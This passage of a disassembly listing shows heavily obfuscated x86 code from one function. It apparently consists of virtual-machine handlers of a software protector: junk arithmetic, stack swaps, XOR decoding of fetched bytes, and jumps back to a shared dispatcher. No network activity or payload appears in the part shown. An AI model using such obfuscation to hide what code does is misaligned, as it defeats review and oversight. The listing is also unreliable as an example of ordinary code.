loc_59861C:				; CODE XREF: sub_58A891+D215j
		push	ax
		mov	ax, 82Bh
		jmp	loc_5993F0
; ---------------------------------------------------------------------------


loc_598627:				; CODE XREF: sub_58A891+B8F6j
		pop	eax
		sub	edi, 4
		push	edi
		push	[esp+12h+var_10+2]
		pop	edi
		pop	[esp+12h+var_14+2]
		jmp	loc_5943A5
; ---------------------------------------------------------------------------


loc_59863C:				; CODE XREF: sub_58A891+728Aj
		shl	dh, 8
		jnz	loc_590BD5
		push	ecx
		mov	cl, 66h
		not	cl
		sub	cl, 0Fh
		sub	cl, 0FBh
		neg	cl
		add	cl, 60h
		push	eax
		mov	al, 7Ah
		neg	al
		shr	al, 5
		xor	al, 0E7h
		and	al, 12h
		xor	al, 15h
		jmp	loc_597C7E
; ---------------------------------------------------------------------------


loc_598668:				; CODE XREF: sub_58A891+D583j
		xchg	edi, [esp-18h+arg_14]
		jmp	loc_591FD3
; ---------------------------------------------------------------------------


loc_598670:				; CODE XREF: sub_58A891+CBA1j
					; sub_58A891:loc_597AE3j
		sub	esp, 4
		jmp	loc_597053
; ---------------------------------------------------------------------------


loc_59867B:				; CODE XREF: sub_58A891+B0E6j
		pop	[esp+44h+var_44]
		pop	esp
		add	edx, eax
		sub	esp, 4
		mov	[esp+40h+var_40], ebx
		mov	ebx, 7ECA5F3Dh
		add	edx, ebx
		pop	ebx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598694:				; CODE XREF: sub_58A891+E143j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_593750
; ---------------------------------------------------------------------------


loc_5986AC:				; CODE XREF: sub_58A891+6EC4j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5986B1:				; CODE XREF: sub_58A891+B348j
		sub	ebp, esi
		jmp	loc_593F2C
; ---------------------------------------------------------------------------


loc_5986B8:				; CODE XREF: sub_58A891+5F60j
		sub	esp, 4
		mov	[esp-0Ch+arg_4], esi
		push	ecx
		mov	ecx, 577B3C40h
		jmp	loc_5984CF
; ---------------------------------------------------------------------------


loc_5986CC:				; CODE XREF: sub_58A891+51E9j
		shr	ecx, 8
		dec	ecx
		shl	ecx, 3
		js	loc_59105F
		xchg	ebp, ecx
		jmp	loc_59711C
; ---------------------------------------------------------------------------


loc_5986E0:				; CODE XREF: sub_58A891+C436j
					; sub_58A891+1072Cj
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_59953F
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 53676065h
		add	[esp+1Ch+var_18], ebp
		pop	ebp
		pop	ecx
		push	eax
		jmp	loc_5964E7
; ---------------------------------------------------------------------------


loc_598709:				; CODE XREF: sub_58A891+744Cj
					; sub_58A891+74D5j
		mov	esp, [esp+38h+var_38]
		jmp	loc_59113F
; ---------------------------------------------------------------------------


loc_598711:				; CODE XREF: sub_58A891+86EFj
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+40h+var_40], ebx
		mov	ebx, 4F0F0B76h
		dec	ebx
		sub	ebx, 1
		push	ecx
		mov	ecx, 13D72760h
		neg	ecx
		jmp	loc_58FF66
; ---------------------------------------------------------------------------


loc_59872F:				; CODE XREF: sub_58A891+D849j
		shr	edi, 4
		neg	edi
		dec	edi
		push	ebp
		mov	ebp, 5F100758h
		dec	ebp
		sub	ebp, 6FFD1A1Dh
		and	ebp, 422657A4h
		xor	ebp, 26E5747Fh
		sub	ebp, 6EAD4D25h
		sub	edi, ebp
		pop	ebp
		jmp	loc_599DD9
; ---------------------------------------------------------------------------


loc_59875C:				; CODE XREF: sub_58A891+7A4Aj
		mov	edi, 290D646Ah
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		jmp	loc_593319
; ---------------------------------------------------------------------------


loc_59876C:				; CODE XREF: sub_58A891+58EFj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		mov	[esp+44h+var_44], eax
		jmp	loc_59A0DF
; ---------------------------------------------------------------------------


loc_598783:				; DATA XREF: sub_58A891+3A7Fo
		lodsd
		xor	eax, ebx
		push	3FD8h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		jmp	loc_596475
; ---------------------------------------------------------------------------


loc_598795:				; CODE XREF: sub_58A891+C16Dj
		mov	[esp+10h+var_10], edi
		push	ecx
		push	62FC133Ah
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		push	3D06h
		mov	[esp+18h+var_18], edx
		mov	edx, 791A7CC7h
		jmp	loc_58ECDE
; ---------------------------------------------------------------------------


loc_5987B6:				; CODE XREF: sub_58A891+6D81j
		push	esi
		jmp	loc_59450C
; ---------------------------------------------------------------------------


loc_5987BC:				; DATA XREF: sub_58A891+3B83o
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_59280C
; ---------------------------------------------------------------------------


loc_5987C5:				; CODE XREF: sub_58A891+C224j
		add	eax, ecx
		mov	ecx, [esp-0Ch+arg_4]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp-0Ch+arg_4]
		pop	esp
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp-14h+arg_A+2]
		xor	[esp-14h+arg_A+2], ebx
		xor	ebx, [esp-14h+arg_A+2]
		mov	esp, [esp-14h+arg_A+2]
		mov	cx, word ptr [esp-14h+arg_A+2]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		sub	eax, 29172349h
		add	eax, ebp
		add	eax, 29172349h
		jmp	loc_59A9C7
; ---------------------------------------------------------------------------


loc_598810:				; CODE XREF: sub_58A891+483Fj
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		mov	bl, ah
		mov	ch, bl
		mov	ebx, [esp+34h+var_34]
		push	ebp
		mov	ebp, esp
		jmp	loc_595B6D
; ---------------------------------------------------------------------------


loc_598825:				; CODE XREF: sub_58A891+5B6Aj
		sub	edi, 608E6564h
		sub	edi, edx
		add	edi, 608E6564h
		add	edi, 145D254Ah
		pop	edx
		add	edx, edi
		pop	edi
		push	6C3h
		mov	[esp+14h+var_14], ecx
		mov	ecx, 4
		jmp	loc_5921D0
; ---------------------------------------------------------------------------


loc_59884F:				; CODE XREF: sub_58A891+E8A0j
		xor	al, bl
		push	0A26h
		mov	[esp+18h+var_18], ebx
		push	4F3Ah
		mov	[esp+1Ch+var_1C], ecx
		mov	ch, 0Dh
		shl	ch, 8
		sub	ch, 0FFh
		add	ch, 0B6h
		push	ax
		jmp	loc_597B0C
; ---------------------------------------------------------------------------


loc_598873:				; CODE XREF: sub_58A891+BA58j
		push	small 44D1h
		mov	word ptr [esp+3Eh+var_40+2], dx
		push	ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598883:				; CODE XREF: sub_58A891+B70Aj
					; sub_58A891+10D97j
		push	ebp
		jmp	loc_5984E7
; ---------------------------------------------------------------------------


loc_598889:				; CODE XREF: sub_58A891+8522j
		sub	eax, 519F5802h
		jmp	loc_59AFD3
; ---------------------------------------------------------------------------


loc_598893:				; CODE XREF: sub_58A891+10551j
		sub	al, dh
		add	al, 51h
		jmp	loc_592168
; ---------------------------------------------------------------------------


loc_59889C:				; CODE XREF: sub_58A891+E02Cj
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		jmp	loc_591640
; ---------------------------------------------------------------------------


loc_5988A8:				; CODE XREF: sub_58A891+A296j
		add	esp, 4
		push	[esp+18h+var_18]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59889C
; ---------------------------------------------------------------------------


loc_5988C2:				; CODE XREF: sub_58A891+58A6j
		mov	ecx, 1
		jmp	loc_590DFC
; ---------------------------------------------------------------------------


loc_5988CC:				; CODE XREF: sub_58A891+8394j
		not	edx
		or	edx, 29611E7Bh
		jmp	loc_58F109
; ---------------------------------------------------------------------------


loc_5988D9:				; DATA XREF: sub_58A891+3A6Bo
		mov	cx, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_58ECA3
; ---------------------------------------------------------------------------


loc_5988F0:				; CODE XREF: sub_58A891+9793j
		add	eax, ebx
		pop	ebx
		jmp	loc_5965D8
; ---------------------------------------------------------------------------


loc_5988F8:				; CODE XREF: sub_58A891+F26Fj
		mov	edi, 34564148h
		add	edi, 385775A4h
		or	edi, 5316251Fh
		add	edi, 52AC21D2h
		jmp	loc_5952C1
; ---------------------------------------------------------------------------


loc_598914:				; CODE XREF: sub_58A891+FE46j
		sub	eax, 3D055E93h
		jmp	loc_5938EB
; ---------------------------------------------------------------------------


loc_59891E:				; CODE XREF: sub_58A891+6079j
		push	esp
		pop	ebx
		push	eax
		push	ebp
		push	58F87230h
		pop	ebp
		xor	ebp, 58F87234h
		mov	eax, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		push	eax
		mov	eax, 502B14E9h
		sub	ebx, eax
		jmp	loc_59AC2D
; ---------------------------------------------------------------------------


loc_598946:				; CODE XREF: sub_58A891+86B1j
		movzx	eax, al
		jmp	loc_595226
; ---------------------------------------------------------------------------


loc_59894E:				; CODE XREF: sub_58A891+425Fj
		pop	edi
		push	esi
		mov	esi, 51F51D3Ah
		push	0
		sub	[esp+3Ch+var_3C], esi
		pop	esi
		jmp	loc_590399
; ---------------------------------------------------------------------------


loc_598963:				; DATA XREF: sub_58A891+3A4Fo
		mov	ax, word ptr [esp+8+var_8]
		push	edi
		jmp	loc_595624
; ---------------------------------------------------------------------------


loc_59896D:				; CODE XREF: sub_58A891+920Ej
		sub	edx, ebp
		pop	ebp
		sub	edx, esi
		push	ebp
		jmp	loc_59B427
; ---------------------------------------------------------------------------


loc_598978:				; DATA XREF: sub_58A891+399Fo
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		push	73B7h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		jmp	loc_597E75
; ---------------------------------------------------------------------------


loc_598992:				; CODE XREF: sub_58A891+3D94j
		movzx	ax, byte ptr [eax]
		push	small 443Ch
		jmp	loc_58ED66
; ---------------------------------------------------------------------------


loc_59899F:				; CODE XREF: sub_58A891+1139Cj
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], edi
		push	eax
		push	edx
		mov	edx, 2D791163h
		neg	edx
		jmp	loc_58F5B8
; ---------------------------------------------------------------------------


loc_5989B6:				; CODE XREF: sub_58A891+52F6j
		push	2EDh
		mov	[esp+44h+var_44], ebx
		mov	eax, [esp+44h+var_44]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+48h+var_48]
		pop	esp
		mov	[esp+44h+var_44], ecx
		jmp	loc_598694
; ---------------------------------------------------------------------------


loc_5989D9:				; CODE XREF: sub_58A891+7FF5j
					; sub_58A891+B777j
		mov	ah, 1Fh
		neg	ah
		sub	ah, 97h
		push	dx
		mov	dl, 0ECh
		xor	ah, dl
		pop	dx
		sub	dl, ah
		pop	eax
		jmp	loc_5946D7
; ---------------------------------------------------------------------------


loc_5989F0:				; CODE XREF: sub_58A891+D70Bj
		add	esp, 4
		add	esp, 4
		pop	edx
		pop	ecx
		push	2EFAh
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		jmp	loc_590D05
; ---------------------------------------------------------------------------


loc_598A0A:				; CODE XREF: sub_58A891+C886j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_58F01E
; ---------------------------------------------------------------------------


loc_598A1E:				; CODE XREF: sub_58A891+6509j
		pop	ecx
		add	edi, 2
		jmp	loc_59110D
; ---------------------------------------------------------------------------


loc_598A2A:				; CODE XREF: sub_58A891+77BEj
		sub	dword ptr [esp+0], 406F769Eh
		mov	edi, [esp+0]
		add	esp, 4
		push	ecx
		sub	esp, 4
		jmp	loc_598110
; ---------------------------------------------------------------------------


loc_598A43:				; CODE XREF: sub_58A891+97FAj
		mov	ebp, 3B3C237Fh
		and	ecx, ebp
		push	[esp+44h+var_44]
		pop	ebp
		jmp	loc_59AD6E
; ---------------------------------------------------------------------------


loc_598A53:				; CODE XREF: sub_58A891+4102j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598A58:				; CODE XREF: sub_58A891+7D42j
		mov	ebp, eax
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		xor	[esp+38h+var_34], ebp
		pop	ebp
		push	[esp+34h+var_34]
		pop	eax
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 259F5526h
		mov	edi, ebp
		pop	ebp
		xor	eax, edi
		pop	edi
		push	esi
		jmp	loc_5972F9
; ---------------------------------------------------------------------------


loc_598A85:				; CODE XREF: sub_58A891+986Dj
		mov	[esp+3Ah+var_3C+2], ebp
		push	[esp+3Ah+var_38+2]
		pop	ebp
		pop	[esp+3Ah+var_3C+2]
		pop	esp
		push	39F3h
		mov	[esp+36h+var_38+2], ecx
		push	ebx
		mov	bl, 25h
		dec	bl
		jp	loc_5919C2
		jmp	loc_59231C
; ---------------------------------------------------------------------------
		sub	esi, 1267C5A2h
		mov	ebp, esi
		push	ebp


loc_598AB2:				; CODE XREF: sub_58A891+AF72j
		add	edx, ebp
		pop	ebp
		mov	ebp, edx
		pop	edx
		inc	ebp
		not	ebp
		sub	ebp, 0D0A06F66h
		sub	eax, ebp
		jmp	loc_5961DE
; ---------------------------------------------------------------------------


loc_598AC8:				; CODE XREF: sub_58A891+10421j
		push	5CF0h
		mov	[esp+3Ah+var_3C+2], ebx
		mov	bl, 22h
		push	edx
		jmp	loc_591B56
; ---------------------------------------------------------------------------


loc_598AD8:				; DATA XREF: sub_58A891+3A53o
		lodsb
		xor	al, bl
		push	edx
		push	ebx
		mov	bh, 13h
		mov	dl, 0AFh
		xor	dl, bh
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		shl	dl, 1
		jmp	loc_597343
; ---------------------------------------------------------------------------


loc_598AF3:				; CODE XREF: sub_58A891+8209j
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59428A
; ---------------------------------------------------------------------------


loc_598B01:				; CODE XREF: sub_58A891+9DAAj
		add	ebp, 25D01A4Ch
		jmp	loc_595597
; ---------------------------------------------------------------------------


loc_598B0C:				; CODE XREF: sub_58A891+5EEEj
					; sub_58A891+7994j
		sub	esp, 4
		jmp	loc_5965A8
; ---------------------------------------------------------------------------


loc_598B14:				; CODE XREF: sub_58A891+97CBj
		mov	ebp, 2CAF2734h
		neg	ebp
		shr	ebp, 2
		add	ebp, 47B7341Eh
		add	ebp, 54BF262Ch
		neg	ebp
		add	ebp, 432B991Ch
		sub	eax, ebp
		pop	ebp
		push	dword ptr [edi+eax*4]
		push	ebp
		push	eax
		mov	eax, 4EDD00F9h
		push	2352h
		jmp	loc_590BC0
; ---------------------------------------------------------------------------


loc_598B49:				; CODE XREF: sub_58A891+F8C9j
		dec	esi
		push	ebx
		mov	ebx, 717A0A9Ch
		jmp	loc_5928C1
; ---------------------------------------------------------------------------


loc_598B55:				; CODE XREF: sub_58A891+DB0Bj
		push	eax
		jmp	loc_58F794
; ---------------------------------------------------------------------------


loc_598B5B:				; CODE XREF: sub_58A891+7CEEj
		sub	ecx, edi
		pop	edi
		sub	eax, 77E3226Ch
		jmp	loc_59B139
; ---------------------------------------------------------------------------


loc_598B68:				; CODE XREF: sub_58A891+8B2Dj
		mov	edi, esp
		push	esi
		push	4
		pop	esi
		add	edi, 735B7D84h
		add	edi, esi
		sub	edi, 735B7D84h
		pop	esi
		push	ebp
		push	ecx
		push	ebp
		mov	ebp, 2B57ED3h
		mov	ecx, 655DD45Eh
		jmp	loc_58EDA1
; ---------------------------------------------------------------------------


loc_598B92:				; CODE XREF: sub_58A891+C4CCj
		pop	ebp
		push	1712h
		mov	[esp+50h+var_50], ebx
		push	edx
		jmp	loc_58F2B3
; ---------------------------------------------------------------------------


loc_598BA1:				; DATA XREF: sub_58A891+3AEFo
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		push	5D26h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	edi
		mov	edi, 206E6863h
		or	edi, 7CD94DF1h
		xor	edi, 1A5F46AFh
		xor	edi, 3F67380Ah
		sub	edi, 59C71352h
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 2
		push	ebx
		mov	ebx, 7D2C68CAh
		add	ecx, ebx
		pop	ebx
		jmp	loc_59B6E2
; ---------------------------------------------------------------------------


loc_598BED:				; CODE XREF: sub_58A891+EB5Aj
		and	eax, ebx
		push	[esp+10h+var_10]
		pop	ebx
		jmp	loc_599B28
; ---------------------------------------------------------------------------


loc_598BF8:				; CODE XREF: sub_58A891+D194j
		push	5701h
		jmp	loc_592170
; ---------------------------------------------------------------------------


loc_598C02:				; CODE XREF: sub_58A891+94FBj
		mov	esi, 17C9235Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_5915B9
; ---------------------------------------------------------------------------


loc_598C0F:				; CODE XREF: sub_58A891+C617j
		sub	bl, al
		jmp	loc_595FC3
; ---------------------------------------------------------------------------


loc_598C16:				; CODE XREF: sub_58A891+522Ej
		xor	ebp, [esp+24h+var_24]
		jmp	loc_59371C
; ---------------------------------------------------------------------------


loc_598C1E:				; CODE XREF: sub_58A891+4806j
		add	edi, 46ED933Ah
		xor	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+28h+var_28]
		pop	esp
		add	edx, 2
		xor	edx, [esp+24h+var_24]
		xor	[esp+24h+var_24], edx
		xor	edx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		movzx	cx, al
		push	small 7EBAh
		mov	word ptr [esp+26h+var_28+2], cx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598C54:				; CODE XREF: sub_58A891+D92Aj
		dec	edx
		js	loc_593750
		jmp	loc_5984E2
; ---------------------------------------------------------------------------


loc_598C60:				; CODE XREF: sub_58A891+CEE1j
					; sub_58A891+ECA9j
		add	ebx, 4
		xchg	ebx, [esp+50h+var_50]
		pop	esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+50h+var_50], esi
		mov	esi, 2
		add	edx, esi
		mov	esi, [esp+50h+var_50]
		add	esp, 4
		xchg	edx, [esp+4Ch+var_4C]
		pop	esp
		rol	word ptr [esp+48h+var_48], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598C91:				; DATA XREF: sub_58A891+3BBFo
		lodsw
		xor	ax, bx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 2
		sub	ebp, edx
		pop	edx
		jmp	loc_59B53E
; ---------------------------------------------------------------------------


loc_598CAD:				; CODE XREF: sub_58A891+8ACCj
		push	eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		pop	ecx
		inc	edi
		push	1E2Ah
		mov	[esp-8+arg_0], ebp
		mov	ebp, 7E12649Fh
		add	edi, ebp
		pop	ebp
		sub	edi, 65D73F7Bh
		add	esi, edi
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		jmp	loc_59B1F9
; ---------------------------------------------------------------------------


loc_598CD8:				; CODE XREF: sub_58A891:loc_5945AEj
		xor	ecx, 76BF0DB4h
		jo	loc_596BC7
		jmp	loc_59A8A4
; ---------------------------------------------------------------------------


loc_598CE9:				; CODE XREF: sub_58A891+7A7Ej
		sub	esp, 4
		mov	[esp+58h+var_58], ebx
		push	edx
		jmp	loc_59640E
; ---------------------------------------------------------------------------


loc_598CF8:				; CODE XREF: sub_58A891+73AFj
		sub	esp, 2
		mov	word ptr [esp+0Ch+var_C], cx
		mov	cl, 11h
		jmp	loc_598578
; ---------------------------------------------------------------------------


loc_598D09:				; CODE XREF: sub_58A891+1035Bj
		add	esp, 4
		push	edx
		jmp	loc_592475
; ---------------------------------------------------------------------------


loc_598D12:				; CODE XREF: sub_58A891+FFEFj
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598D21:				; DATA XREF: sub_58A891+39CFo
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		jmp	loc_58EFE9
; ---------------------------------------------------------------------------


loc_598D2D:				; CODE XREF: sub_58A891+6D46j
		neg	al
		jz	loc_58F0F7
		and	al, 0B2h
		jo	loc_58F445
		add	al, 0F1h
		sub	bl, al
		pop	eax
		sub	bl, al
		push	ecx
		mov	cl, 9Eh
		push	ax
		mov	ah, 3
		sub	cl, ah
		pop	ax
		jmp	loc_59A9CF
; ---------------------------------------------------------------------------


loc_598D54:				; CODE XREF: sub_58A891+AC67j
		jl	loc_59560C
		jmp	loc_59B55D
; ---------------------------------------------------------------------------


loc_598D5F:				; CODE XREF: sub_58A891+F231j
		mov	eax, 7B4D1B5Ch
		mov	ebx, eax
		push	[esp+0Eh+var_10+2]
		pop	eax
		add	esp, 4
		or	ebx, 663956B4h
		jg	loc_58F857
		jmp	loc_592F6F
; ---------------------------------------------------------------------------
		mov	ebx, 68937147h
		push	esi


loc_598D87:				; CODE XREF: sub_58A891+C24Fj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], edi
		push	esi
		mov	esi, 0B09243Ch
		not	esi
		and	esi, 5E7277EEh
		push	ecx
		mov	ecx, 4B8979BDh
		not	ecx
		or	ecx, 69B56F7Eh
		sub	ecx, 0A785D497h
		add	esi, ecx
		pop	ecx
		jmp	loc_596C98
; ---------------------------------------------------------------------------


loc_598DC6:				; CODE XREF: sub_58A891+B51Ej
		push	esi
		mov	esi, 3FE50B20h
		jmp	loc_594678
; ---------------------------------------------------------------------------


loc_598DD1:				; CODE XREF: sub_58A891+779Aj
		mov	[esp+6Ah+var_6C+2], edi
		mov	edi, 31B9E547h
		jmp	loc_58FCB0
; ---------------------------------------------------------------------------


loc_598DDE:				; CODE XREF: sub_58A891+C964j
		and	ah, 0E1h
		jp	loc_597DF8
		shr	ah, 1
		jmp	loc_5998B3
; ---------------------------------------------------------------------------
		add	bh, 0Ch


loc_598DF1:				; CODE XREF: sub_58A891+AF50j
		mov	[esp+14h+var_14], ecx
		jmp	loc_596204
; ---------------------------------------------------------------------------


loc_598DF9:				; CODE XREF: sub_58A891+3DEAj
		mov	ebp, 7ACC3CBFh
		mov	edx, ebp
		pop	ebp
		shl	edx, 4
		not	edx
		not	edx
		add	edx, 8612B18Dh
		jmp	loc_59A0B7
; ---------------------------------------------------------------------------


loc_598E13:				; CODE XREF: sub_58A891+3F74j
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+48h+var_48]
		pop	esp
		jmp	loc_5953C4
; ---------------------------------------------------------------------------


loc_598E29:				; CODE XREF: sub_58A891+FA1Dj
		pop	eax
		push	[esp+40h+var_40]
		jmp	loc_596A8A
; ---------------------------------------------------------------------------


loc_598E32:				; CODE XREF: sub_58A891+BD64j
					; sub_58A891+F2F0j
		pop	ebp
		push	edi
		jmp	loc_593D91
; ---------------------------------------------------------------------------


loc_598E39:				; CODE XREF: sub_58A891+DB47j
		add	ebp, 1
		neg	ebp
		push	0
		sub	[esp+0Ch+var_C], ebp
		pop	ebp
		shr	ebp, 4
		xor	ebp, 7C884981h
		jmp	loc_59815A
; ---------------------------------------------------------------------------


loc_598E55:				; CODE XREF: sub_58A891+E828j
		mov	edi, 20129590h
		sub	eax, 670F24E3h
		jmp	loc_592094
; ---------------------------------------------------------------------------


loc_598E64:				; CODE XREF: sub_58A891+10A30j
		mov	[edi+eax*4], dl
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598E7C:				; CODE XREF: sub_58A891+C11Aj
		push	esp
		pop	ebp
		jmp	loc_5935CF
; ---------------------------------------------------------------------------


loc_598E83:				; CODE XREF: sub_58A891+802Bj
		add	[esp+20h+var_18], edi
		pop	edi
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		push	[esp+18h+var_18]
		pop	ecx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, 570E7ABFh
		xor	edx, 3D5972F8h
		jmp	loc_5948E6
; ---------------------------------------------------------------------------


loc_598EAB:				; CODE XREF: sub_58A891+10863j
		pop	edx
		pop	ebx
		add	ebp, 4
		push	ebp
		push	[esp+1Ch+var_18]
		pop	ebp
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		shl	[esp+18h+var_18], cl
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598EC7:				; CODE XREF: sub_58A891+A86Aj
		pop	ebp
		jmp	loc_5995FF
; ---------------------------------------------------------------------------


loc_598ECD:				; CODE XREF: sub_58A891+F65Ej
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_591AFC
; ---------------------------------------------------------------------------


loc_598EDC:				; CODE XREF: sub_58A891:loc_595CB4j
		push	ebx
		mov	ebx, 0F0609028h
		add	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp
		add	edx, 2
		xor	edx, [esp+44h+var_44]
		xor	[esp+44h+var_44], edx
		xor	edx, [esp+44h+var_44]
		pop	esp
		shr	byte ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598F01:				; CODE XREF: sub_58A891:loc_590279j
		push	edx
		mov	edx, 24379A0h
		sub	ecx, 21E81C23h
		sub	ecx, edx
		add	ecx, 21E81C23h
		mov	edx, [esp+10h+var_10]
		jmp	loc_594568
; ---------------------------------------------------------------------------


loc_598F1D:				; CODE XREF: sub_58A891+D98Bj
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], eax
		pop	ecx
		jmp	loc_597212
; ---------------------------------------------------------------------------


loc_598F31:				; CODE XREF: sub_58A891+100B1j
		xor	eax, [esp+40h+var_40]
		xor	[esp+40h+var_40], eax
		jmp	loc_592A12
; ---------------------------------------------------------------------------


loc_598F3C:				; CODE XREF: sub_58A891+D478j
		pop	ecx
		push	ebx
		push	esp
		jmp	loc_596579
; ---------------------------------------------------------------------------


loc_598F44:				; CODE XREF: sub_58A891+4448j
		mov	eax, 4
		mov	edx, eax
		jmp	loc_599279
; ---------------------------------------------------------------------------


loc_598F50:				; CODE XREF: sub_58A891+75B4j
		xor	eax, ebp
		jmp	loc_59353E
; ---------------------------------------------------------------------------


loc_598F57:				; CODE XREF: sub_58A891+7BD7j
		mov	edx, 253C7094h
		add	ebx, 7C515647h
		sub	ebx, 74061DC4h
		jmp	loc_59AE60
; ---------------------------------------------------------------------------


loc_598F6D:				; CODE XREF: sub_58A891+B04Ej
		sub	al, dh
		pop	edx
		push	6FF7h
		mov	[esp+12h+var_14+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp+12h+var_14+2]
		pop	esp
		mov	word ptr [esp+0Eh+var_10+2], dx
		push	5336h
		mov	[esp+12h+var_14+2], ebx
		push	68B7h
		mov	[esp+16h+var_18+2], eax
		push	edx
		mov	dl, 0BBh
		inc	dl
		jmp	loc_5947E6
; ---------------------------------------------------------------------------


loc_598FA4:				; CODE XREF: sub_58A891+112C3j
		mov	eax, 792A78B2h
		push	ecx
		jmp	loc_596A6E
; ---------------------------------------------------------------------------


loc_598FAF:				; CODE XREF: sub_58A891+9338j
		push	edx
		push	[esp+4Ch+var_48]
		pop	edx
		pop	[esp+4Ch+var_4C]
		mov	esp, [esp+48h+var_48]
		xor	word ptr [esp+48h+var_48], ax
		pushf
		jmp	loc_596F01
; ---------------------------------------------------------------------------


loc_598FC5:				; CODE XREF: sub_58A891+BF33j
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 2F7F5A60h
		jmp	loc_58EE21
; ---------------------------------------------------------------------------


loc_598FD3:				; CODE XREF: sub_58A891+AB08j
		sub	ebp, 2
		xchg	ebp, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598FE6:				; CODE XREF: sub_58A891+BB57j
		sub	edx, esi
		jmp	loc_58F82B
; ---------------------------------------------------------------------------


loc_598FED:				; CODE XREF: sub_58A891+6185j
		pop	ax
		push	ebx
		jmp	loc_595359
; ---------------------------------------------------------------------------


loc_598FF5:				; CODE XREF: sub_58A891+67C1j
		mov	[esp+32h+var_34+2], eax
		push	ebx
		jmp	loc_58F0D5
; ---------------------------------------------------------------------------


loc_598FFE:				; CODE XREF: sub_58A891+EBE0j
		add	ecx, 7D3A600Fh
		add	dword ptr [ecx], 1
		pop	ecx


loc_59900B:				; CODE XREF: sub_58A891+8D84j
		push	252h
		mov	[esp+36h+var_38+2], ebx
		xor	[esp+36h+var_38+2], 76A65A63h
		mov	eax, [esp+36h+var_38+2]
		jmp	loc_597727
; ---------------------------------------------------------------------------


loc_599022:				; CODE XREF: sub_58A891+A080j
		push	eax
		add	[esp+50h+var_50], 18C65C4h
		pop	ebx
		sub	ebx, 18C65C4h
		mov	eax, [esp+4Ch+var_4C]
		add	esp, 4
		sub	ebx, 5B863F80h
